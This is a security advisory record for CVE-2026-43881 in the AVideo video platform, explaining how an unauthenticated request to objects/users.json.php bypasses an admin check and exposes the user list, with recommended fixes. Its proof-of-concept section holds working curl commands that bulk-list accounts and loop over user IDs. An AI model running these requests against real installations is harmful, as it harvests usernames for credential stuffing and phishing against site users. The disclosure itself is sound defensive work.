{"id":"CVE-2026-43881","aliases":["GHSA-6rvw-7p8v-mjfq"],"url":"https://o3.security/vulnerability/CVE-2026-43881","summary":"WWBN AVideo: Unauthenticated User Enumeration in `objects/users.json.php` via `isCompany` Parameter Flips `$ignoreAdmin = true` and Defeats Admin-Only Listing Guard","details":"## Summary\n\n`objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count.\n\n## Details\n\n### Root cause #1 — `isCompany` admin bypass\n\n`objects/users.json.php:13-53` (HEAD, v29.0):\n\n```php\n$canAdminUsers = canAdminUsers();                                    // line 13 — for output filtering only\n...\nif (!empty($_REQUEST['users_id'])) {\n    $user = User::getUserFromID($_REQUEST['users_id']);              // path #2\n    ...\n} else if (empty($_REQUEST['user_groups_id'])) {\n    $isAdmin     = null;\n    $isCompany   = null;\n    $ignoreAdmin = canSearchUsers() ? true : false;\n    ...\n    if (isset($_REQUEST['isCompany'])) {                              // line 39\n        $isCompany = intval($_REQUEST['isCompany']);\n        if (!$canAdminUsers) {\n            if (User::isACompany()) { $isCompany = 0; }\n            else                    { $isCompany = 1; }\n            $ignoreAdmin = true;                                      // line 47 — bypass flag\n        }\n    }\n    ...\n    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);\n    $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);\n}\n```\n\n`User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION['user']['is_company'])`, which is `false` for unauthenticated visitors. So the anonymous-attacker branch takes the `else` arm: `$isCompany = 1; $ignoreAdmin = true;`.\n\nThe admin-only guards in `User::getAllUsers()` (`objects/user.php:2315-2321`) and `User::getTotalUsers()` (`objects/user.php:2480-2484`) are now short-circuited:\n\n```php\npublic static function getAllUsers($ignoreAdmin = false, ...) {\n    if (!Permissions::canAdminUsers() && !$ignoreAdmin) {   // $ignoreAdmin === true → guard skipped\n        _error_log('You are not admin and cannot list all users');\n        return false;\n    }\n    ...\n    $sql = \"SELECT * FROM users u WHERE 1=1 ...\";\n    if (isset($isCompany)) {\n        if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {\n            $sql .= \" AND is_company = $isCompany \";\n        } else {\n            $sql .= \" AND (is_company = 0 OR is_company IS NULL) \";\n        }\n    }\n```\n\nNote: when the attacker supplies `isCompany=0`, the `else` branch is taken because of PHP's operator precedence (`!empty($isCompany) && ...` short-circuits to false), and the SQL filter becomes `is_company = 0 OR is_company IS NULL` — i.e. **every non-company user**. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied `rowCount`.\n\n### Root cause #2 — `users_id` single-record oracle\n\n`objects/users.json.php:20-29` calls `User::getUserFromID($_REQUEST['users_id'])` with no auth check. `User::getUserFromID()` (`objects/user.php:2028-2075`) queries `SELECT * FROM users WHERE id = ?` and returns `id`, `identification`, `photo`, `background`, `status`, `channelName`, `about`, `tags`, with only `password`/`recoverPass`/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with `total = 1` when the user exists and `total = 0` otherwise — a perfect sequential-ID existence oracle.\n\n### Why there is no blocking mitigation\n\n- No router-level auth: the `.htaccess` rewrite (`.htaccess:317`) maps `/users.json` directly to this file.\n- No CSRF/origin gate: the file is explicitly listed in `objects/functionsSecurity.php:893` under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design.\n- The output-filter block (`objects/users.json.php:66-77`) only limits **which** fields are echoed — it does not suppress existence or display-name leakage, and `total` is always echoed on line 97.\n- `rowCount` is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).\n\n## PoC\n\nTarget: a default AVideo 29.0 install at `http://target/`. No session cookie, no CSRF token, no API key required.\n\n### Path 1 — bulk listing via `isCompany` admin-check bypass\n\n```\n$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000&current=1'\n{\"current\":1,\"rowCount\":1000,\"total\":42,\"rows\":[\n  {\"id\":\"1\",\"identification\":\"admin\",\"photo\":\"https://target/videos/userPhoto/photo1.png\",\n   \"background\":\"https://target/...\",\"status\":\"a\",\"creator\":\"<div ...channel URL...>\"},\n  {\"id\":\"2\",\"identification\":\"alice\",...,\"status\":\"a\",...},\n  ...\n]}\n```\n\nThe same call with `isCompany=1` returns the subset of company-flagged users; `isCompany=0` returns all non-company users. Both branches set `$ignoreAdmin = true`.\n\n### Path 2 — sequential-ID existence / display-name oracle\n\n```\n$ for i in $(seq 1 10000); do\n    curl -s \"http://target/objects/users.json.php?users_id=$i\" \\\n      | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'\n  done\n1\t1\tadmin\ta\n1\t2\talice\ta\n0\tnull\tnull\tnull\n1\t4\tbob\ti\n...\n```\n\n`total=1` → ID exists; `identification` field leaks the login/display name; `status` reveals active (`a`) vs inactive (`i`).\n\n### Verification of the branch logic\n\n```php\n// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.\n$canAdminUsers = false; $ignoreAdmin = false;\n$_SESSION = [];                      // unauthenticated\n$_REQUEST = ['isCompany' => '1'];\nif (isset($_REQUEST['isCompany'])) {\n    $isCompany = intval($_REQUEST['isCompany']);\n    if (!$canAdminUsers) {\n        $isACompany = !empty($_SESSION['user']['is_company']);   // false\n        $isCompany   = $isACompany ? 0 : 1;\n        $ignoreAdmin = true;\n    }\n}\nvar_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  → admin guard SKIPPED\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).\n- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.\n- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.\n- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.\n\nNo auth is required, the request is a single unauthenticated `GET`, and `rowCount` is unbounded, so the full user list can be harvested in one request.\n\n## Recommended Fix\n\n1. Require authentication at the top of `objects/users.json.php`, and gate the bulk-listing path to users who legitimately need to search:\n\n    ```php\n    require_once $global['systemRootPath'] . 'objects/user.php';\n    User::loginCheck();                         // reject anonymous callers\n    if (!canSearchUsers()) {\n        header('HTTP/1.1 403 Forbidden');\n        die('{\"error\":\"forbidden\"}');\n    }\n    ```\n\n2. Remove the `isCompany`-driven `$ignoreAdmin = true` branch (users.json.php:41-48). It served no purpose that the explicit `canSearchUsers()` check above does not already cover, and its only observable effect is the bypass described here.\n\n3. Gate the `users_id` path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:\n\n    ```php\n    if (!empty($_REQUEST['users_id'])) {\n        $requestedId = intval($_REQUEST['users_id']);\n        if (!canSearchUsers() && $requestedId !== User::getId()) {\n            header('HTTP/1.1 403 Forbidden');\n            die('{\"error\":\"forbidden\"}');\n        }\n        $user = User::getUserFromID($requestedId);\n        ...\n    }\n    ```\n\n4. Consider clamping `$_REQUEST['rowCount']` to a sane ceiling (e.g. 100) and removing `objects/users.json.php` from the CSRF-bypass list in `objects/functionsSecurity.php:893` unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.","published":"2026-05-11T20:38:06.930Z","modified":"2026-08-12T03:51:26.602844040Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.0027,"percentile":0.18713,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/d9cdc702481a626b15f814f6093f1e2a9c20d375","label":"WWBN/AVideo@d9cdc70"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43881.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-6rvw-7p8v-mjfq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43881"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/d9cdc702481a626b15f814f6093f1e2a9c20d375"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:26.602844040Z"}}